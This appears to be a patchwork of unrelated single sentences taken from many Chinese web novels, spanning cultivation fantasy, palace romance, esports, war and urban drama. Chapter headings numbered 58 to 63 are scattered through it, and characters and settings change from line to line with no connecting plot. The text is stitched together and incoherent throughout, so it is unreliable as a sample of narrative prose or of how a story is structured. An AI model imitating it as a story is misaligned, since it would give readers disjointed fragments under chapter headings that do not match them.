难道李子扬去了一趟魔窟,不但收服了仙灵剑,还杀了两个魂王?
只能说是风水,不过李子扬说的风水也没错,也的确是可以这么分析出来的。
秦平自然不甘落后,如今同样臻至四品层次,野心熔炉大成,理性光辉焕发,灵肉完美融合,终于炼成野性煞力。
大离和北蛮的悬殊人口基数决定了,北蛮不可能跟镇北军打消耗战。
包括但不限于敌方人数、己方伤亡、箭矢消耗、辎重消耗等等情况。
虽然明知动萧家很可能是无用功,但张楚还是不想放弃任何一丝可能。
这个梦把陈潇吓坏了,如果说这世界上有没有什么是他无法割舍,无论如何也不能失去的东西,如同他生命一般重要的,那肯定是艾拉。
在这毁三观的一幕强烈冲击下,搜查官直接一屁股坐倒在地上,就这么一直陷入呆愣状态,久久没有再爬起来。
“冬天实在不适合做这项运动,而且我也并不擅长!”张家良并未接杆,也笑着回道。
这天晚上,段达志很生气,晚饭也没吃好。后来是甜甜打电话过来把他哄好了。段达志早忘了追究甜甜的责任,只记得爸爸妈妈不好。
对面,浪翻云被气机牵动,同样凝视那把怪异的光剑,一眼过后,表情忽然有些哭笑不得。
记者们为了眼球效果,极尽夸张的将标题拟得触目惊心,恨不得拿着雕刻刀,将恐怖与震撼刻进民众的心灵深处。
如今一年过去, 鱼梁洲上除了多出一座猎鹰台, 是刘表和亲友的游乐所外, 其余地方依旧是河滩、渔鸥和芦苇构成的自然风光。
武越手捧袈裟,落回地上,见佛像下的供桌旁有个蒲团,也不嫌上面积满厚厚一层的灰尘,走过去直接盘腿坐下,打开袈裟,细细观看。
现在神州队这边营救的幸存者为58人,这可以说是相当可观的数量了,所有的参赛队伍都在考虑撤离这颗星球,但是头顶那层黑色物质却将所有人阻挡在其中。
段伟祺又生气,这么倔,不听话。他启动车子,不等她回复,回家去了。
辗转着一直吻到米香喘不上气儿了,才延伸到她的锁骨处轻噬逗弄。
护符做工十分精巧,丁妍捧在手心里越看越是喜欢,干脆直接戴在脖子上。
一股股信息从泰阿剑的剑身沿着叶枫的双手传进叶枫的脑海,叶枫感同身受泰阿剑的气息!这就是泰阿剑的剑之魂么?一个嗜血,强大,狂暴的器魂?
只要能当上青月帮的帮主,龙老大觉得任何冒险的事都值得敢去做。
办公室呈一副淡绿色的色调,摆放在窗口的灵植迎风而动,仿佛在欢迎他的到来。
它连忙将手中的虫子甩飞了出去,朝着林羽摆出了一副哭丧着的脸。
忽然就看到,对方的车队路过一片灌木丛时,从灌木丛中飞出了几十道喷着火焰的圆锥形物体。
没错,相比农场那边的自发聚集的营地,这边是要收门票的。不仅收门票,停车场一样要收费,并且不负责看管车辆。
至少现在他已经是追风堂的堂主了,说话要比从前多出三分底气。
事实上竞技场50层以上的挑战者,绝大多数都是抱持着类似的想法。
一瞬间,他的四肢百骸仿佛全部浸入了丰裕的灵池当中一般,全身的细胞都在一瞬间打开。
两名为首又挡在青帮帮众的前面,他们明白,要想手下拼命,先自己必须拼命。
如果围棋盘所在位置换成是一对巨大的阴阳鱼,或者,棋盘的周围并不是神秘的复杂八卦图,都不会给人如此强烈的震撼,可是,这两件完全相反,完全没有联系的两件物体此时组合在一起,却给人一种神秘玄奥的感觉。
他不是耀武扬威更不是穷兵赎武之人,恰恰相反,他想要和平解决此事所以向钟家摆明自己不达目的不罢休的态度,以此让钟战天不要为了保护一个德国人而撕破脸皮,那后果会是相当严重。
不过楚岩并为简单的下结论,而是在卧室内的独立洗手间内仔细检查了一遍,随后这才确定了这间房屋之内,空无一人。
不得不说诗洛夜分析得很对,而且我们还要亲眼验证一下醉蓝蓝现在的输出能力,装备了‘火神权杖’,并且是15星的智力成长,相信输出想低都难吧。
“肖恩,果然是这个家伙。你回去吧,有我在没人能伤害你的偶像的。”楚岩摇摇头,转身离开,而K则是看着楚岩的背影,眼底,忽然间露出了一抹阴谋得逞的笑意。他,是一个很会演戏的家伙。
一级世界以虚化实,可以建造自己的世界,可以动用一部分世界之力。
刘顶在恰当的时间、恰当的地点出现了。当马迁安与基里年科夫开始心平气和研究枪榴弹的时候,刘顶嘻嘻笑着踏进了基里年科夫的研究室。
第一卷 第58章 外族壮劳力
在捕捉到她的目光,脸上露出热情开心的笑容,碧色的眼眸无比专注又温柔。
“唔……”慕灵伸了个懒腰,眨眼看着身边的北冥渊那眼底的疲倦之色,这当皇子的真是没几天好日子过,看看这累的。
沈木白晃掉这种想法,但是脑海里还是不由自主的去想霍三离开的那个背影。
想了片刻,吕天明干脆询问起天珠器灵,可惜器灵似乎又沉眠了,并没有给出任何回应。
这三四年的时间,花瑾宇将她保护的太好了,一丁点委屈都不让她受。
沐之悦故作镇定的收回目光,冲着千叶喻勉力笑了笑,躬身福了礼之后带着绿意一同离开。
他脱了常年所穿的黑衣,穿上秦殇的衣服,又将头发束起来,最后在梳妆镜子面前,戴上了面纱,就要出门。
这里的空间,明显就存在着一个极为可怕强大的气息,似乎是,从他们眼前的一片石壁背后传来的!瞬间让他们心头涌上了一股不好的预感。
谁知,那若有若无的声音,就犹如飘荡而过的一抹云烟一般,轻盈地消失了,再无痕迹,徒留让陌凤夜微蹙起柳眉,凝视着眼前的空间。
花瑾宇伺候了夜疏离解毒这么多日,据他自己说,累得像一条狗,要吃点好肉缓一缓。
两人近身交汇,沉闷的气爆声响起,四周的空气顿时一阵震颤,并发出一圈漪涟。
“无妨,喝光了再去装便是。”还是公子大方些,我欣赏的想给他一个笑容,他却直接别过头,看来还在记恨我欺骗他。
甲山得了允许,便招呼同来的五个仙家按五角星芒站好,手中各掐一道法决。
断头台上的张春代闻言第一次扭动自己麻木的脖颈,转头去看天外飞仙一般的翠绿身影。
所幸身后车子都没追上,否则再地上打了几个滚之后的痛绝对不是蒋泽楷所经历的最后一次绝望。
四人埋头赶路,不多时,就在山坳处停下。百丈平地中央几株杨树枝繁叶茂,地面草繁花盛。
以王佩珑的能力,个十百千万,她顶多能帮到个‘千’,虽然凤年给她的东西加起来能顶得上十几二十个‘千’,但从她自己手里送出去的,永远都是这么点,多一分都不行。
精灵老板娘身上散发着属于自然的气息,令人心旷神怡,但是她的话却让李林有点不适。
米国华盛顿五角大楼,在得到任务失败的第一时间召集人员展开会议。在激烈的研讨和严密的计划之后,米军总部下达最高命令。
介绍:由一名机械师学徒倾尽全力打造而出的战斗机器人,打造手法还算熟练,大概比重装坦克厉害了一点。
通讯水晶挂断了,警卫室的护卫们带着武器,杀气腾腾地直奔最底层能量室。
庄公子却有一种有口难言的委屈,他好端端的,怎么就惹了这一身腥。
门外侍卫发现里面长时间没有动静,冲进去一看才知道公子已死。
虽然这些秘密在恰当的时机下,迟早都会告诉彼此,但长宁和慕清彦谁都在静静等待。
精灵战舰上,魔导炮的光辉照亮了天空,魔法的力量在港口内宣泄,让港口陷入了一片混乱当中。
教团出局,这是异王让地行种大军撤退的原因之一,还有个原因是,圣光乐园方的12人被生擒,她们的大本营没被毁,而是被异种占据,准备以这里为临时据点,对轮回乐园方形成堵截之势。
巨人王的体表升腾白气,他将手中的曲刃大刀横在自己胸膛前,一刀割下,鲜血侵染在刀上。
在NBA赛场上,穿裆传球并不常见,因为这种传球很容易失误。
上古一战,它虽无法参战,可是却曾经目睹那一尊尊神魔血祭自身杀敌,那是绝境之中唯一的杀敌方法,有死无生,怎能活下来。
看到这些信息,苏晓粗略扫了眼列表上的一星级称号,都在8~10灵魂钱币左右,毕竟只是一星称号,况且还优惠了65%。
他怕了,怕索菲娅再次逃掉,那样他连找到她的机会可能都没有了!?
兜了一圈回来,武装直升机上装备的火箭弹发射巢开始对准寨墙发挥火力了。
骤然看到比利娃娃的大凤吓得尖叫一声,立刻往一边正在陪自家提督看电影的赤城的怀里扑去。
如今那些被他压迫过的弟子,一个个都是磨刀霍霍,准备杀他,那么冬佳也就必死无疑,没人能救得了他,若他觉得他的失败全部都是因为陆飞,他愿恨陆飞,那就尽情的来恨吧,陆飞觉得没什么不妥的。
对方看上去太过狼狈,像是刚刚经历了一场浩劫,眉眼之间露出疲态。
而且,张桃既然可以觉醒星源,那么,这也意味着我们也可以觉醒星源,只不过,我们的机缘还没有到。
来的时候听说齐皇后和庆妃都被留宫,她就觉得哪里不太对劲,如今那种感觉愈发地强烈了。
没有人知晓,就属于未知。对于未知,便是神人也有一种先生的恐惧。
达瑞坐在白云头上,看着一望无边的大海,心中突然升起了万丈豪情。
毕竟如果十皇子真的死了的话,他恐怕也要因此承受莫大的灾祸。
叶平宇和史共宇打了一个招呼,拿着筹码就走了,他不能和史共宇在一起呆得太久,免得再出现什么麻烦,史共宇也巴不得离开,否则心里也是有疙瘩。
唐百世、汪中裕、张少富都被井下水深扇耳光了,据说,井下水深被宫本一郎扇了耳光。
吴品狐疑的看着叶青,深知叶青雁过拔毛的性格,他绝对不相信叶青没有得到好处就能够让端木秋几人离开。
第一卷 第59章 三个小娘们,我可要进来喽
“谁!!”殷开山正要说话,隐约察觉丝丝妖气,徒然面色惊变,浑身散发强悍气势威压。
阿璃听出对方的意思,本来怯懦的表情突然变得严肃起来,一张瓷白的脸蛋粉雕玉琢如同玩偶娃娃一样。
自参悟【呼风唤雨】神通之后,纪缘就发觉这卷神话图录,又不少玄妙之处;亦能增长拔高悟性,推演神通。
姜念一拳拳揍过去,拔出黑熊身上的砍刀,眼神冰冷,直接一刀扎在它心口,看着倒地抽搐的黑熊,擦了擦脸上的血,神色冷漠带着煞气。
他如此守礼,曾经自己几番试探,最亲密的也不过是牵牵手,抱一下。
陈麟笑着摇摇头,他直截了当的问道,王憨思考片刻,很是真诚的点头。
云潇冷漠地看着副驾驶的人,她那双冷如寒冰的眼在后视镜里反射着寒光。
要是查出来了,怎么会将事情拖到现在呢。但是现在说什么都是没用的。
但随着陆远星逐渐刨根问底,提出了各种靠谱不靠谱的假设,以及愣是要知道具体的农耕操作、数据和禁忌。
金富贵现在已经是通山县的名人了,在以前来说,金富贵如今已经是通山县的土皇帝,哪有人不认识金富贵的,就算不认识金富贵,也得知道了他的大名。
天空的那道怒吼传出,天空传来一股极强威压,向着吴璇玑压去,在那股威压下,吴璇玑忍不住吐出一口血来。
奔来的吴云听到奸邪修士说出化凡二字,瞬间惶恐不已,身子转身就要离去,就在此时耳边传来一阵冰冷的声音。
农户们也很不容易,勤勤恳恳忙碌一整年,一旦出点什么差池,这一年很可能就要白干了,尝试一个新的物种,对于他们来说也是要冒着巨大风险的。
就这样,两队开始了一对一的攻防阵地战,由于相互之间的默契不足,双方都没有多少配合。
“行了,出去揍他一顿,我已经给你准备好了棒子!”蒋欣说完,将一个棒球棒递给方静。
陈垣和一众村民坐在牢中稻草上,他发现自己被摆了一着。却找不到该找谁出气,他瞧了一眼躺在地上的陈二,满身的伤痕,都已经上过了药,送他进来的还有那个被他们追着跑的公子。
原先林沛身边也有通房丫鬟的,只是钟姨娘手段了得,她们最后自然是没落到什么好下场。
萧仪倒是来过几次,皆言圣驾已在归途,让其稍安勿躁。包元乾“好货”在身自然不急于一时,只是包布同倒显得有些急躁。
她以为天黑皇帝会来,紧张的不得了。好在门外没有人守着,她支开伺候的宫人一路走到花园里头。
朱老板自己也清楚,天底下还真没有几个疯子还假冒锦衣卫的名头,而且,府尹的出面,已经侧面证实了这位锦衣卫老爷的可信度。
“人是颜兄叫来的,他说没意见,我自然也没意见。”叶明立刻表了态。
男人的声音在江辰川的耳边响起,带着轻松的语气和兴奋的笑容,出现在他的身边,真像从过去带来的冤魂,挥之不去。
“对不住了。”卡布尔并不打算给他机会,他非常了解自己的主人,对方什么时机出招,会出什么样的招数,他都清楚。
她买了一套男装,溜到胭脂铺子,与掌柜的说自己遇到了麻烦,需要些胭脂水粉。
他都已经想好一会,该怎么和人鱼公主那边说情况了,结果没想到这件事情就这么解决了。
不图钱的,也可以和各大企业对接,以后找工作什么的也都是可以直接填在简历上的噱头。
野生的魂兽,大部分保留着兽性,残忍、嗜杀,丛林法则,才是它们的真实写照。
阐教众人脸色一阵青一阵红,颇为精彩,广成子见此情况,已然知晓今日大战在所难免,看了一眼周禹,知晓其不会相助,却也不会为难,广成子已经有些庆幸。
第一件事便是将豹儿叫到身边,询问起此事,结果豹儿对太子的死并没有太大的意外,似乎早就预料,见到豹儿那般神情,申公屠浑身冷汗留下。
“丫头,这一路你没睡吧,要不先回船仓里休息一下?”狄绍维看着晓儿眼底下的巨大黑影,心痛道。
病尉迟孙立?原来你也来了,不过同是京东东路地界任职的朝廷将官,这个孙立又是在登州名声颇响的,他也受调派而来征讨二龙山,倒也在情理之中。
幸好,自家住的地方围了花栅栏,还请了保安,闲杂人等进不去,否则的话,她家可真没啥宁日可言了呢。
刘景前世没有涉及这个游戏太深,二皮也是中途退了游,虽然无法断定两人的成就上限就是那样,但也就是普通人层次的,和豆腐乳两人是没有办法比较的。
看到再一次出现的泰迪果实,罗弘愣了。没想到,泰迪果实又一次的出现了。
“不去了,我得回一趟海军本部,鹤姨找我有事。”桃兔说道,她当然是想陪着罗弘去东海的,他们两个已经好久没有出海去了。现在好不容易有了这么一次机会,却又要因为海军本部的命令,而放弃了。
素伊不知道墨寒为什么会突然跳到这个话题,在怔愣之下,便下意识的摇了摇头。
吸取上次丢了马的经验教训,方仲永此番干脆的将马栓在了折府外面的拴马桩子上,拜托门子代为照管,然后和折依然手牵手,悠闲的逛向热闹的樊楼一条街去。
第一卷 第60章 谁敢动我嫂嫂
在他想握上慕南玥的手腕时,后者悄无声息地避开了他的触碰,直接消失在漩涡之中。
却让岳飞一下子七上八下的,想起要远行几千里,想起几个月要成亲,想起千里之外的世界,一下连饭都吃不进了。
“我去干什么?有佩珀陪你就够了。”罗森摆摆手道:“再说这种事对你来说根本就不算什么,我相信你很轻松就能够搞定的。
仔细一看,原来是张松溪和段樵愚等人,整个豫中地区有头有脸的干部全部都来了,彭达洲赶紧迎了过去。
没想到,这家伙在失去左臂以后,实力不仅没倒退,反倒还隐隐有着上涨的趋势。
柯南在那次从牛郎店回来以后,前几天还跑到阿笠博士家里,商量着要不要去调查调查路克。
一时间,不少贤才以及大汉旧臣都打消了前往许县的计划,转而前往冀州。
说着,放下了窗帘,靠在车厢壁上,捂着起伏不停高耸的胸口,一阵心慌意乱。
只要自己能通过某种办法强调自己没有劈腿、出轨、致人怀孕等底线问题。
整个氛围瞬间就变了,恍惚间,徐四仿佛看到了前段时间在酒店的某个抓往未来的夜晚。
孟南冷笑着,他深知一鼓作气的道理,一旦自己泄了这口气,那白魔蚁有了防备,自己想要再次实行斩首计划,必然更加困难。
更令人惊惧的是一个走路像极了丧尸的家伙走了过来,尽管他手里端着食物,还是让人惊悚不已。
“你叫什么名字?”温道青的声音似乎蕴含着某种特殊的韵律,让人不自觉的陷入进去。
话音落下,虚妄猛然抬起手来,“嗡”地一声剑鸣,身后的长剑无风而动,悬浮在他的身侧。
青帝世界中,叶空的身体突兀的出现在九霄升龙大阵所在的广场中,全身虚脱,意识已经昏迷了过去。
美国的网络安全专家组在期间已经信誓旦旦地表示他们已经补上了被拒绝服务攻击的漏洞,但费奥里娜已经不相信他们了。她只想干完干好自己的最后一段总统任期,没有了跟超级恐怖分子对着干的勇气和魄力。
张地目光一眯,略一打量后,抱拳道:“王某先行告辞,有事咱们传讯符联系。”说罢,飘然离去。
“我怎么了,我难道就不能开金店吗?”王强脖子一梗,生气的说道。
相对于其他周围的部落,有智尚和尚保护着这里,乌塔尔部落是周围这一块最好的部落,整个部落占据着一大块绿洲,河流从绿洲中间穿插过去,里面的水源还挺丰富。
反而是双手抱肩,怀里斜插着那一面令旗灵宝,就好像在看热闹一样。
“爸,不和你说,我要看电影了,还有,林八方弟弟不是你想那一种人,是你儿子太坏了,偷拍我更衣,这事,我还没有找他算账呢。”沃怡然在电话里气呼呼骂道。
消息当天就传开了。王胜还会带人进千绝地,消息让很多第一次没有轮到的势力十分开心。这次大家不再观望,纷纷派人开始进驻无忧城。短时间之内,无忧城的人口几乎提升了一倍。
深呼吸,同样的空气慢慢的灌进了胸膛,撑得有些满。然而就是这样的感觉,却是让承志感觉到无比的舒服,简直就是连辛苦劳作一整天泡了个热水澡还要来的消遣的多。
这支笛子以前的确是音色不怎么好,但他很喜欢笛子的手感,一直随身使用。也不知道从什么时候开始,笛子的音色突然就变好了,单大师还以为是因为自己的长时间使用温养,所以才导致了一支极品笛子的诞生。
看那打扮和样子也不像是个暴发户有钱的,这钱倒是拿的轻松,再加上刚才这个男人口中的豹哥这两个字,东方云星的眸底已经划过一抹的淡色。
一声仿佛气泡破裂的声音响起,紧随而来的仿若玻璃破碎的声音。
回到自己房中的萧然,直接盘膝打坐开始修炼了起来,现在距离天亮也不过几个时辰了,萧然也懒的休息了,于是便直接打坐修炼过去。
“砰”的一拳,沐夜听到清瘦男子的话,直接走上前朝着那清瘦男子就是一顿狂揍。
沃装必他们没有回别墅吃午饭,唯有沃装必打电话回来,让灵珊父母炖的药汤给他盛起来,不要把他那一份吃掉。
“恩,后会有期!”说完这句话,欧冶子和长治两人便直接转身朝着远处走去,而剩下的一些人,除了萧然的父母外,全部都退出了萧然的房间,既然萧然已经无大碍,那么他们留下来也无必要了。
乐天伦家纺的展位是自己公司设计,四四方方中规中距,但是面积很大占据了家纺馆最主要的位置,旁边就是冥王星家纺的展位,采用的是紧跟战略,乐天伦家纺怎么来他们就怎么来。
木叶最繁华的街道中心凭空召唤出了三头巨大的蟒蛇,疯狂的开始破坏起了整个村子。
本宫主跟你又没有什么关系,别人不能碰我的身体,你一样不能碰。
周涛看着还是生气的欧阳晴,生怕她拉着欧阳雨直接走掉,那他这顿饭可就白请了。
今天,并不是什么重要的日子,但林城奇的亲人们,却是欢聚一堂,正在吃团圆饭。
谢天说完,二人四目对视,相视一笑,看向窗外的夕阳,双眸都闪烁着期冀的目光,战争,还是早日结束的好,正如这夕阳的红霞,经历了血与火的历练,将会诞生一个新生的中国。
第一卷 第61章 暴怒的宁乱
因为他可是知道,这冷炎火种是可以透过自己的本体燃烧自己的灵魂的。
用巨额的金钱可以在神殿购买不同等级的修炼方法。等级不同,当然修炼的速度与质量都不同。
草剑一向锐不可挡,是最强的攻击异兽,这时竟也能成为它们有力的防御。
而此时古超全身的真气也在发生着极大的变化,似乎本身的真气又变强了一截,同时全身气血翻腾,似乎无数气血之马在自己的双臂上跑过,使自己的精神也发生了极大的变化,此时的精神如钢似铁一般的锤打着。
阳玄颢不是夏承正,六年的帝王教养,他怎么会听不出母亲的言下之意?
看着丁战这个儿子,的确值得他得意,铁盛山需要的,正是被人的重视和尊敬,重视和尊敬他是铁家的家主。
流浪汉自然也领了便当,为了报答男主角救他的恩情,果断舍身堵住丧尸,成功让石宇三人冲出重围,赶上一趟开往据说还是安全的釜山列车。
所以对这些人多数都是利用兼打压。反倒宋国甫这样的性情,更容易得到领导的信任和青睐。
在他的手刚刚触碰到冷炎火种的时候,这冷炎火种居然突然消失在了李明的眼前。
“这样的杂志,竟然就普普通通的放在便利店里,和一般杂志一起出售。”他用带着点感慨意味的语气说道。
九秘代表了九个领域的极致,不可超越,本是合在一起的一本簿册,可惜被人拆分了。
在战斗中做出超出对方能理解的思维判断,狄蒙马上就做出了判断。
管家跟在沈相身边这么多年了,对于沈相的安排,也没有什么好惊讶,他早就已经想到了。
那个男人被他的激动晃得有些头晕目眩,一时不知道该怎么理会又多出来的麻烦。
不过剑圣他们一时间都不知道,里面并不是他们所想象的那般都是实地,其实里面都是山道,密密麻麻的山道,所以秋玄一吼之下,把所有的洞窟都给震塌陷了。
言帝王独治天下,虽则圣德,皆俟贤佐以辅之,故得天下人安也。
麒麟古剑淡淡的出声说道,眼神却是死死的盯着洛天辰,他现在只想和洛天辰打上一架,可不希望被别人打扰了。
苏拉疑惑地看着这个高高在上的男人半跪在晴空的面前,虽然惊异,却仍旧生气。
老关也是一样,听到了这件事以后,那是吹胡子瞪眼睛的,如果不是他在里面坐着,那么他下去一定是要大脚丫子直接伺候上了。
王月天又将完整的计划向大和尚诉说一遍,大和尚确认无误后,立刻准备着手实施。
时间宝贵,经过商讨,我们决定乘飞机直接去往汕上,早点到达汕上市还可以免得中间又出现了什么意外。
礼堂里本来是一片安静肃穆的氛围,因为在西方,结婚是一件很重要的事情,尤其是在上帝的面前,请求上帝作见证更是一件严肃至极的事情,所以大家都安安静静的听着牧师在为这对新人做致辞。
这儿初二是外甥来拜年的日子,他不敢太纠缠这种事,只好忙看准备酒菜,应酬来拜年的孩子们。心里难免罩上了一层阴影。
许辉南静静走到床边。看着傲雪苍白的脸。傲俊要说什么。但是却被丽雅拦住啦。许辉南做到床边,紧紧的握住了傲雪手。心里异常坚定的对自己说以后我一定保护好你。
告诉别人,你有张星恋的VIP卡,定会走到哪里,被人尊重到那里。
张大年还没有反应过来了呢,赵晓晨一个手刀直接砍在了张大年的脖子上,张大年瞪大了眼睛,想不到自己竟然被算计了。
石‘春’林满口答应,还提出宁武分馆这边,是不是也办一个保安公司的分公司,把自己手下的人手整合起来。
我苍音楼虽是雾州霸主,但在雾州境内,也不乏其他宗门的高手眼线。若是这其中有几个紫禁天剑门的高手也不值得奇怪。
昆仑虚“十二城”常有弟子三千,升入玉珠峰山门的黄阶弟子有一千五百,升入九门的玄阶弟子则有五百。
酒桌无话,霄稷也不好久留,借故衙门有事,叫来了霄府的下人,便上了马车疾驶而去。
阿加雷斯使用这三种异兽的力量,就相当于同时使用三种王者之技,其中的两种,还都是纯粹加力量,加防御,加速度的被动技能。
万宝芳想拿捏连家,让连家好吃好喝的供养她一辈子,与其被她搅得不得安宁,没好日子过,还不如与她硬碰硬。
“哥,你这次回来,真打算在家里成了亲再回京去?”绣儿坐下问道。
“不只是你的事,他伤害的不是你,而是他们,杀与不杀你没有话语权!”纪离冷声说道,这一刻苏九儿感觉到了害怕。
一道又一道麻木地结着“破冰咒”,荼荼有些上气不接下气,碧绿的眼珠冒着荧荧的光。
五人身形一顿,所有的笑容都消失,转过身来看着天空上的鬼影。
他若是自己躲进混沌钟里面,那么罗志想要破开防御,就必须要将混沌钟攻破。
而白千羽也不好受,气血翻腾,浑身疲软无力,几乎使不出力气来。
的确如此,他只想要培养自己的势力,他可不希望别人背叛他,一旦背叛,格杀勿论,这个有什么好商量的东西在里面?
最艹蛋的是自打入冬天始,‘兰若寺’里面已经套了8只兔子、9只野鸡了。如果这样都算贪图享受,那李承乾也只有去住桥洞了。
第一卷 第62章 追杀
要知道,宫本明远实力本就领先李步太多,如今居然还行偷袭这等让人不耻的事情,说出去绝对不是一件好听的事情。
毕竟,帝都这附近肯定已经被搜寻无数遍了,不可能还有漏网的食物等着他们去捡漏。
不过花的时间没有白费,对于排位规则,他已经了解的很清楚了。
外面的情况她看不清楚,只偶尔有声音传进来,能让她知道一些。
本来就是想做个见义勇为的采访,突然被喂了一嘴狗粮是什么鬼?
其次,机械肢的研发,并不是艰难的从无到有,而是完全颠倒——在技术已经完全成熟并公开的情况下,一点点硬生生掰碎教给周霜霜的。
“你也会?”李喵喵狐疑的打量着她,会的话为什么一开始不拿出来?反而在这个时候才说?
白锦沫心想,她在这里认识的有人吗?有人找她……应该是张鸿飞吧?
明可心在这一瞬间已经完全失去了理智,她甚至不知道发生了什么。杉佐辰就替自己挡了子弹,到底是谁,到底是谁三番四次地想要她的命。
夜晚,这些动物的眼神都发散出幽冷的光芒,不约而同,朝着石洞深处看去。
她的话让简悦无力反驳,在她的眼里,简悦是那么的不堪,即使自己再解释多少都毫无用处,既然如此她也不再多说。
“陛下,根据我们的观察,分析,最少可能还需要半年。”一边专门负责此事的太监赶紧回道。
LOL发展到了今天,选手的基本功都磨练到了相当高的层次,补刀数超过时间早就不是什么让人惊奇的事。
柴陆伟想着围在这片城区所有路口巷口的巡捕差役,不由得皱起眉头,他们已经出不去了。
当两人站在门口,时隔多日再看到自己的悦姐时,她一时间竟然有些伤感,此时她一身休闲装,平底休闲鞋取代了之前的高跟鞋,消瘦的身影让人看了有些心疼。
尤其经过一番打斗之后,大部分人的衣衫多少都有损坏和污渍,可他的衬衣依旧熨帖规整,甚至多余的褶皱都没有一丝。
“你把人带到哪里了?”萧绝开门见山,因为暗地里的暗卫并没有找寻到一丝一毫关于盛紫安存在过的痕迹。
眼看着孟婉瑶雄赳赳气昂昂的朝这边过来,展凌宇止了话头,眸光温柔的看着她靠近。
车子缓缓驶进公司地下停车场,丁梦不跟他们一个电梯,分开之后进了电梯这才松了一口气,看着电梯缓缓上升,手机里,元明已经传来恭贺的信息。
之后,那个徐经理便离开了,季瑜兮也抵达了如意轩,这是醉意酒庄季瑜兮的专属包厢,里面的装修和其他包厢不一样,多了一种家的温馨。
余逸听的龇牙咧嘴,手指头在她脸前晃荡了半天,最终也没能说出什么来。
虽然这一把队友给到的帮助老实说不算大,但用推线来给他创造单带空间还是不成问题的。
佐仓发出了所有想减肥的人都会说出的一句话,那就是吃饱了这顿,才有力气减肥,总之,说出这句话的,都没有减肥成功就是了。
体验卡固然强大,每天召唤各种大神附体更是对提升操作意识有着极大裨益,但毕竟时日尚浅,再加上薛晨目前的主要重心都放在做直播上,没有充分将试炼空间利用起来,提升虽大也终究有限。
那些贫困者相信他们,那么乔伊就可以让富兰克林集团更为轻松的进入,并且得到这里民众的信任,由这个律师事务所作为中间人缓解双方的矛盾和问题。
同样一件事,同样一个漩涡,在不同当事人眼中,涡面是完全不同的。
就在时间接近五点钟的时候,季瑜兮的手机响了起来,一个陌生的号码,季瑜兮瞥了一眼,眼底闪过一丝冷意,随后接了起来。
这是他们事先商量好的,充当诱饵是极为危险的事情,而布莱克·马霍尼也没有乔伊的枪法,当然乔伊仅仅是手枪的枪法如神,突击步枪不行。
一旁的司空菲听到了,顿时来了兴致,直接坐起来拽住了司空夫人的手。
可他们筑基大圆满,自然不把它们放在眼里,任由它们冲撞,而风月雪也赶紧一个罩子保护自己,唯独云虚什么防护都没,这让炎石两人心里得意暗笑。
罗壮实深知见好就收的道理,在听了唐逸的话后立刻吩咐几名手下放人。
所有人都期待着,等待着,想要看看,华国打算拿出来震慑世界的,究竟是什么。
“终于接通了,我的天……”画面刚一出现便传来了一道声音,赫然便是黎川的声音,画面中的影响也正是他本人。
第一卷 第63章 张保全招供
这个时候,王梓涵清楚地知道。如果不是自己肩膀上有伤打不过基泽,他肯定会跳起然后打死基泽这个傻B了。
“嘿嘿,不好意思,刚才出手重了点,伤得如何?”看着蒙面少年惨白地脸色,叶凡语带关切的问道。
龙魂岛的建筑风格基本上都是望月的建筑风格。一尘不染的地面是由青石板铺成的,通往白龙宫的主干道上,足以容纳十架马车并排行驶。整个岛屿虽然不大,但高明的设计师依旧把它规划的相当大气。
南宫萍儿看着何清凡的背影默默地想着,想到了当初何清凡为她挡剑的场面,想到了当初何清凡抱着她诉说爱恋的场面,泪水也不知道怎么的就流了下来。
不一会功夫,他便冲入了主院堂房。这时刻,陈元陈术正陪在陈攘左右,与他一道品酒纵谈。
不一会儿,越来越多这样完整的队伍,开始出现,叶凡看到了更多暗红色的尸妖,每一个都拿着不同的石质武器,带着约莫一万左右的骷髅在前进。
又过了一柱香的时间,古辰回头看了看燕城哪里,只见所有的流民都已经进入了燕城之内,心中松了口气,冲着李磊阴森一笑,周身气势旷荡,一道直冲九天的白色雷电从天而降,直接劈在了李磊的头上。
“你不做饭给我吃,难不成想要做给那个男人吃?”某人薄唇边上的微笑,不知何时变成了冷笑。
正中幾戲和亞利的身子,被击中后一个感觉掉进了冰窟里,一个感觉被烈火灼伤了。
秦元凯转身,让管家带哥舒颖和三个随从去了秦府西边一个比较偏僻的院子,安顿他们住了下来。
“想得太简单了吧!”卓天看他动作,冷眼嗤笑,圣灵剑法要是这般好躲,那还敢叫什么圣灵剑法吗,不如叫狗屁剑法算了。
贾诩通过和刘天浩一番谈话,以及从刘天浩对待自己的态度上,隐隐猜测到一些事情,但是还是抱了一丝幻想,可能真的只能算是幻想了,但是他还是不死心。
不过最终的结果却有些不逞人意,幽冥空间内危机太大,根本无法得到机缘。
“嘶嘶!”一条百丈巨蟒急速游来,一路横冲直撞,不知撞断多少巨树,轰轰隆隆的直奔巨猿而来。
想起秦勇猛在电话中说的那句“陈风来历不凡”,白卫国又禁不住皱紧了眉头。一个来历不凡的人为什么要藏在雾都?他的来历不凡到底又是什么身份?
这句话让顾西城心中溢满了暖意,正想翻身去拥抱她,却被她接下来惊恐的语气吓得不敢动弹。
王友的脸色,此刻虽然难看,但是总算喘了口气,一时之间,竟然有种劫后余生的感觉。
就在卓天担忧的时候,大院的门被推开了,一个瘦弱的身影走了进来,面色微白,还有些乏力的样子,但眉宇间却是显露间铮铮傲气,身上的气息更是浑厚无比。
颜冰突然惊醒了过来,想起自己刚刚的神情,定然是被老者看了去,脸上更是羞红。
这一幕倒是让张亮有一些受宠若惊,因为侯君集可是从来没有这样过。
比如有人发明了枪械,但不代表他就可以将枪械的功能开发到极致,更不能说明他是个百发百中的神枪手。
参谋长有苦说不出,出兵命令是伊藤少将下达的,他这个参谋长只是个摆设,并没有具体安排。司令官训斥他,他也只能低着头不说话。
联盟的前十选手,不说是一个不缺,但至少坐在这里的都非无名之辈,这个选择按理是要做一阵子的,但药师却毫不犹豫地把手指了出去。
楚言输出高很正常,这货虽然带了杀菩提,但光是潜修极高的风华玉碎放第一本就能带给他极高的伤害和输出,更别提还有悲回风的心法被动增加破定后伤害,有这个伤害不足为奇。
要知晓为了这一个县令,他可是花费了诸多的精力,但没有想到最后是这一个结果。
“该死,真该死!为什么会变成这样?”尼卡在心中暗骂道,眼见给他切原石的工作人员手脚有些慢,当下带着两个黑人就上前将其推开了,自己亲自动手开始切了起来。
她的呼吸有些急促,虽然出身魔门,但她却已经多年没有和男人这么亲近过了。
在这一瞬间,观赛现场,官方解说频道和各大二路主播的直播间,都发出了内容不同但意思却是一样的叫喊声。
